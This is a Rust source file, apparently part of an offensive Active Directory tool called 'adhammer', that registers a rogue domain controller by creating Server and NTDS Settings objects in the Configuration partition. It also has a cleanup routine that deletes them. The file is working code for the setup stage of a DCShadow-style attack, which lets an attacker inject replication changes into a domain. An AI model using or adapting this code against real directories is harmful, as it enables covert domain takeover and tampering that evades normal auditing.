use adhammer_collector::Collector;
use anyhow::{Context, Result};
#[derive(Debug, Clone)]
pub struct RogueDcDns {
pub server_dn: String,
pub ntds_dn: String,
}
impl RogueDcDns {
pub fn build(dc_name: &str, site: &str, base_dn: &str) -> Self {
let server_dn =
format!("CN={dc_name},CN=Servers,CN={site},CN=Sites,CN=Configuration,{base_dn}");
let ntds_dn = format!("CN=NTDS Settings,{server_dn}");
RogueDcDns { server_dn, ntds_dn }
}
}
pub async fn prep(coll: &mut Collector, dc_name: &str, site: &str) -> Result<RogueDcDns> {
let base_dn = coll.base_dn().to_string();
let dns = RogueDcDns::build(dc_name, site, &base_dn);
let config_nc = format!("CN=Configuration,{base_dn}");
let schema_nc = format!("CN=Schema,{config_nc}");
let server_attrs: Vec<(&str, Vec<Vec<u8>>)> = vec![
("objectClass", vec![b"top".to_vec(), b"server".to_vec()]),
("cn", vec![dc_name.as_bytes().to_vec()]),
];
coll.add_object(&dns.server_dn, server_attrs)
.await
.with_context(|| format!("add rogue Server object at {}", dns.server_dn))?;
let invocation_id: [u8; 16] = rand::random();
let ntds_category = format!("CN=NTDS-DSA,CN=Schema,{config_nc}");
let ntds_attrs: Vec<(&str, Vec<Vec<u8>>)> = vec![
(
"objectClass",
vec![
b"top".to_vec(),
b"applicationSettings".to_vec(),
b"nTDSDSA".to_vec(),
],
),
("cn", vec![b"NTDS Settings".to_vec()]),
("objectCategory", vec![ntds_category.into_bytes()]),
("options", vec![b"1".to_vec()]),
("systemFlags", vec![b"33554432".to_vec()]),
("msDS-Behavior-Version", vec![b"7".to_vec()]),
("hasMasterNCs", vec![config_nc.as_bytes().to_vec()]),
(
"msDS-HasMasterNCs",
vec![
config_nc.as_bytes().to_vec(),
schema_nc.as_bytes().to_vec(),
base_dn.as_bytes().to_vec(),
],
),
("dMDLocation", vec![schema_nc.as_bytes().to_vec()]),
("invocationId", vec![invocation_id.to_vec()]),
];
if let Err(e) = coll.add_object(&dns.ntds_dn, ntds_attrs).await {
let _ = coll.delete_object(&dns.server_dn).await;
return Err(e).with_context(|| {
format!(
"add rogue nTDSDSA at {} — rolled back parent Server",
dns.ntds_dn
)
});
}
Ok(dns)
}
pub async fn cleanup(coll: &mut Collector, dc_name: &str, site: &str) -> Result<()> {
let base_dn = coll.base_dn().to_string();
let dns = RogueDcDns::build(dc_name, site, &base_dn);
let _ = coll.delete_object(&dns.ntds_dn).await;
let _ = coll.delete_object(&dns.server_dn).await;
Ok(())
}